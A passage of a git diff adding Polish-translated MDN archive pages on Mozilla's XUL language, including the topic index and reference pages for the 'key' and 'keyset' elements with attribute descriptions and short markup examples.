+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>Zobacz także atrybut <a href="pl/XUL/Atrybut/icon">icon</a>.
+</p>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULImageElement">nsIDOMXULImageElement</a>
+</dd></dl>
+<div class="noinclude">
+</div>
+</div>
diff --git a/files/pl/mozilla/tech/xul/index.html b/files/pl/mozilla/tech/xul/index.html
new file mode 100644
index 0000000000..4565b38c15
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/index.html
@@ -0,0 +1,31 @@
+---
+title: XUL
+slug: Mozilla/Tech/XUL
+tags:
+ - Wszystkie_kategorie
+ - XUL
+translation_of: Archive/Mozilla/XUL
+---
+<p> </p>
+<p><span class="comment">"Getting Started" box, if there is no "Getting Started" article yet written, should be populated with another featurearticle or tutorial.</span></p>
+<div class="callout-box"><strong><a href="/pl/Kurs_XUL" title="pl/Kurs_XUL">Na początek</a></strong><br>
+Poradnik w formie kursu, pozwalający zapoznać się z językiem XUL, przeniesiony z XULPlanet.</div>
+<div>
+<p><strong>XUL</strong> (wym. "zul"; ang. <em>XML-based User-interface Language</em>) jest opartym na <a href="/pl/XML" title="pl/XML">XML</a>-u językiem opisu interfejsu użytkownika autorstwa Mozilli, pozwalającym budować bogate aplikacje między platformowe, które mogą działać podłączone i odłączone od Internetu. Takie aplikacje można łatwo profilować ze zmodyfikowanym tekstem, grafikami i warstwą prezentacji, tak, aby łatwo było przygotować je i zlokalizować na konkretny rynek. Autorzy stron, którzy znają Dynamiczny HTML (<a href="/pl/DHTML" title="pl/DHTML">DHTML</a>) mogą szybko nauczyć się języka XUL i zacząć budować aplikacje praktycznie od zaraz.</p>
+</div>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Dokumentacja" name="Dokumentacja"><a href="/Special:Tags?tag=XUL&amp;language=pl" title="Special:Tags?tag=XUL&amp;language=pl">Dokumentacja</a></h4> <dl> <dt> <a href="/pl/Dokumentacja_XUL" title="pl/Dokumentacja_XUL">Dokumentacja XUL</a> </dt> <dd> <small>Zobacz także dokumentację MDC - <a href="/pl/System_preferencji" title="pl/System_preferencji">prefwindow</a> i <a href="/pl/XUL/richlistbox" title="pl/XUL/richlistbox">richlistbox</a>.</small> </dd> </dl> <dl> <dt> <a href="/pl/Kurs_XUL" title="pl/Kurs_XUL">Kurs XUL</a><br> </dt> <dd> <small>Ten kurs pozwoli Ci zapoznać się z XUL-em (XML User Interface Language), wieloplatformowym językiem Mozilli służącym do opisu interfejsu użytkownika. W trakcie kursu stworzysz prosty interfejs wyszukiwania plików, i krok po kroku nauczysz się korzystać z tego języka do tworzenia własnych interfejsów.</small> </dd> </dl> <dl> <dt> <a href="/pl/Kontrolki_XUL" title="pl/Kontrolki_XUL">Kontrolki XUL</a> </dt> <dd> <small>Lista dostępnych kontrolek w języku XUL.</small> </dd> </dl> <dl> <dt> <a href="/pl/Zabawa_j%C4%99zykiem_XUL" title="pl/Zabawa_językiem_XUL">Zabawa językiem XUL</a> </dt> <dd> <small>Opis klucza własności dokumentów XUL.</small> </dd> </dl> <dl> <dt> <a href="/pl/Dostosowanie_aplikacji_XUL_do_Firefoksa_1.5" title="pl/Dostosowanie_aplikacji_XUL_do_Firefoksa_1.5">Dostosowanie aplikacji XUL do Firefoksa 1.5</a> </dt> <dd> <small>Lista zmian w <a href="/pl/Firefox_1.5_dla_programist%C3%B3w" title="pl/Firefox_1.5_dla_programistów">Firefoksie 1.5</a> wpływających na programistów XUL-a.</small> </dd> </dl> <dl> <dt> <a href="/pl/XUL/Przewodnik_po_szablonach" title="pl/XUL/Przewodnik_po_szablonach">Przewodnik po szablonach XUL</a> </dt> <dd> <small>Szczegółowy przewodnik po szablonach XUL, które są odpowiedzialne za generowanie treści ze źródeł danych.</small> </dd> </dl> <dl> <dt> <a href="/pl/Nak%C5%82adki_XUL" title="pl/Nakładki_XUL">Nakładki XUL</a> </dt> <dd> <small>Artykuł opisujący nakładki XUL. Za pomocą nakładek definiuje się dodatkowe elementy UI. Dostarczają one mechanizmu rozszerzenia lub zmiany istniejących aplikacji XUL.</small> </dd> </dl> <p><br> <span class="alllinks"><a href="/Special:Tags?tag=XUL&amp;language=pl" title="Special:Tags?tag=XUL&amp;language=pl">Pokaż wszystkie...</a></span></p> </td> <td> <h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4> <ul> <li>Obejrzyj fora Mozilli...</li> </ul> <p></p><ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-tech-xul"> jako listę dyskusyjna</a></li>
+
+
+ <li><a href="http://groups.google.com/group/mozilla.dev.tech.xul"> jako newsgroup</a></li>
+ <li><a href="http://groups.google.com/group/mozilla.dev.tech.xul/feeds"> jako kanał</a></li>
+</ul><p></p> <h4 id="Narz.C4.99dzia" name="Narz.C4.99dzia">Narzędzia</h4> <ul> <li><a class="external" href="http://starkravingfinkle.org/blog/xul-explorer/">XUL Explorer</a></li> <li><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Rozszerzenie dla programistów</a> (zawierające edytor XUL Live)</li> <li><a class="external" href="http://www.getfirebug.com/">Firebug</a></li> <li><a class="external" href="http://www.extensionsmirror.nl/index.php?showtopic=751">Pasek narzędzi XULRef</a></li> <li><a href="/pl/Inspektor_DOM" title="pl/Inspektor_DOM">Inspektor DOM</a></li> </ul> <p><span class="alllinks"><a href="/Special:Tags?tag=XUL:Narz%C4%99dzia&amp;language=pl" title="Special:Tags?tag=XUL:Narzędzia&amp;language=pl">Pokaż wszystkie...</a></span></p> <h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy">Powiązane tematy</h4> <dl> <dd> <a href="/pl/JavaScript" title="pl/JavaScript">JavaScript</a>, <a href="/pl/XBL" title="pl/XBL">XBL</a>, <a href="/pl/CSS" title="pl/CSS">CSS</a>, <a href="/pl/RDF" title="pl/RDF">RDF</a>, <a href="/pl/Rozszerzenia" title="pl/Rozszerzenia">Rozszerzenia</a>, <a href="/pl/XULRunner" title="pl/XULRunner">XULRunner</a> </dd> </dl> </td> </tr> </tbody>
+</table>
+<p><span class="comment">Categories</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p> </p>
+<p> </p>
+<p> </p>
+<p> </p>
+
+<p></p>
diff --git a/files/pl/mozilla/tech/xul/key/index.html b/files/pl/mozilla/tech/xul/key/index.html
new file mode 100644
index 0000000000..3f552b09c6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/key/index.html
@@ -0,0 +1,149 @@
+---
+title: key
+slug: Mozilla/Tech/XUL/key
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/key
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div>
+
+<p>Element <code>key</code> określa skrót klawiaturowy. Dzięki funkcjom obsługi zdarzeń można odpowiedzieć na wciśnięcie danego klawisza. Element <code>key</code> musi być umieszczony wewnątrz elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/keyset" title="keyset">keyset</a></code>.</p>
+
+<p>When a key matching the attributes on the key element is pressed, the command will be fired on the key element. The key pressed must match the key attribute (or keycode attribute) as well as the modifiers attribute in order for the key element to be activated and fire a command event.</p>
+
+<p>For example, consider the following key:</p>
+
+<pre class="eval">&lt;key key="r" modifiers="shift"/&gt;
+</pre>
+
+<p>This key will only match when the Shift key is pressed as well as the R key, and no other keys. For instance, if the Shift, Control and R keys are all pressed, the key will not match.</p>
+
+<p>To indiciate that a modifier key may optionally be pressed, place the word 'any' after a listing the optional modifier key. For example:</p>
+
+<pre class="eval">&lt;key key="r" modifiers="shift any control"/&gt;
+</pre>
+
+<p>In this example, the shift key may or may not be pressed, while the control key must be pressed. This allows keys to match more loosely for modifier keys that aren't relevant, yet still allows specific modifiers to be required.</p>
+
+<p>If the modifiers attribute is not specified, then no modifiers may be pressed for the key to match.</p>
+
+<p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Skr%c3%b3ty_klawiaturowe">kursie XUL</a>.</p>
+
+<dl>
+ <dt>Atrybuty</dt>
+ <dd><a href="#a-command">command</a>, <a href="#a-disabled">disabled</a>, <a href="#a-key">key</a>, <a href="#a-keycode">keycode</a>, <a href="#a-keytext">keytext</a>, <a href="#a-modifiers">modifiers</a>, <a href="#a-oncommand">oncommand</a>, <a href="#a-phase">phase</a></dd>
+</dl>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<p>(potrzebne przykłady)</p>
+
+<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3>
+
+<p> </p><div id="a-command">
+
+<dl><dt> <code id="a-command"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/command">command</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Ustawiony na wartość atrybutu <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code>, obserwowanego przez ten element.
+</dd></dl>
+
+
+</div> <div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div> <div id="a-key">
+
+<dl><dt> <code id="a-key"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/key">key</a></code>
+</dt><dd> Typ: <i>znak</i>
+</dd><dd> Litera, która musi zostać naciśnięta. Powinien to być znak, który może być wyświetlany.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div> <div id="a-keycode">
+
+<dl><dt> <code id="a-keycode"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/keycode">keycode</a></code>
+</dt><dd> Typ: <i>kod klawisza łańcucha znaków</i>
+</dd><dd> Dla klawiszy skrótu, które nie są wyświetlane jako litery, takich jak Enter lub klawisze funkcyjne, można wykorzystać ten atrybut zamiast <code id="a-key"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/key">key</a></code>. Dozwolone kody klawiszy są wymienione na <a class="external" href="http://www.xulplanet.com/tutorials/xultu/keyref.html">tej liście</a>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div> <div id="a-keytext">
+
+<dl><dt> <code id="a-keytext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/keytext">keytext</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta skrótu klawiaturowego. Tekst ten będzie wyświetlony obok etykiety pozycji menu (<code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>), jeśli pozycja ta (<code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>) jest połączona z elementem <code><a href="/pl/docs/Mozilla/Tech/XUL/key" title="key">key</a></code> poprzez jej atrybut <code id="a-key"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/key">key</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div> <div id="a-modifiers">
+
+<dl><dt> <code id="a-modifiers"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/modifiers">modifiers</a></code>
+</dt><dd> Typ: <i>oddzielona spacją lista wartości poniżej</i>
+</dd><dd> Lista klawiszy-modyfikatorów, które powinny być wciśnięte, aby wywołać dany skrót klawiatury. Jeśli klawiszy-modyfikatorów jest więcej niż jeden, należy je oddzielić spacjami lub przecinkami. Klawisze niedostępne na danej platformie będą mapowane na inne.
+</dd></dl>
+<ul><li> <code>shift</code>: Klawisz &lt;tt&gt;Shif&lt;/tt&gt;t.
+</li><li> <code>alt</code>: Klawisz &lt;tt&gt;Alt&lt;/tt&gt;. Na Macintoshu jest to klawisz &lt;tt&gt;Option&lt;/tt&gt;.
+</li><li> <code>meta</code>: Klawisz &lt;tt&gt;Meta&lt;/tt&gt;. Na Macintoshu jest to klawisz &lt;tt&gt;Command&lt;/tt&gt;.
+</li><li> <code>control</code>: Klawisz &lt;tt&gt;Control&lt;/tt&gt;.
+</li><li> <code>accel</code>: Klawisz zwykle używany dla skrótów na danej platformie. Zwykle właśnie tej wartości należy użyć.
+</li><li> <code>access</code>: Klawisz dostępu, zwykle używany do aktywowania menu i innych elementów. W Windows jest to klawisz Alt używany w połączeniu z klawiszem dostępu danego elementu.
+</li><li> <code>any</code>: Określa, że wszelkie poprzedzające go modyfikatory są opcjonalne.
+</li></ul>
+<p><br>
+</p>
+
+
+</div> <div id="a-oncommand">
+
+<dl><dt> <code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code>
+</dt><dd> Typ: <i>kod skrypt</i>
+</dd><dd> Ta funkcja obsługi zdarzenia jest wywołana w momencie aktywacji polecenia. Ma to miejsce, gdy użytkownik zaznaczy pozycję menu lub kiedy naciśnie skrót klawiaturowy przypisany do polecenia.
+</dd></dl>
+
+
+</div> <div id="a-phase">
+
+
+<dl>
+ <dt><code id="a-phase"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/phase">phase</a></code></dt>
+ <dd>Typ:<em>ciąg znaków</em></dd>
+ <dd>Faza zdarzeń, w której wywoływana jest funkcja obsługi. Należy atrybut ten ustawić na wartość <code>capturing</code>, by określić, że ma to nastąpić w fazie przechwytywania, albo na <code>target</code>, aby określić to na elemencie docelowym, albo pominąć, by wywołanie funkcji obsługi nastąpiło w fazie bąbelkowania.</dd>
+</dl>
+</div><p></p>
+
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table><p></p>
+
+<h3 id="Metody" name="Metody">Metody</h3>
+
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table><p></p>
+
+<h3 id="Podobne" name="Podobne">Podobne</h3>
+
+<p>TBD</p>
diff --git a/files/pl/mozilla/tech/xul/keyset/index.html b/files/pl/mozilla/tech/xul/keyset/index.html
new file mode 100644
index 0000000000..f6bc0edf13
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/keyset/index.html
@@ -0,0 +1,97 @@
+---
+title: keyset
+slug: Mozilla/Tech/XUL/keyset
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/keyset
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Kontener dla elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/key" title="key">key</a></code>. Element <code>keyset</code> i jego elementy potomne nie są wyświetlane.
+</p><p>Dodatkowe dostępne informacje w <a href="pl/Kurs_XUL/Skr%c3%b3ty_klawiaturowe">kursie XUL</a>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;keyset&gt;
+ &lt;key id="sample-key" modifiers="shift" key="R"/&gt;
+&lt;/keyset&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
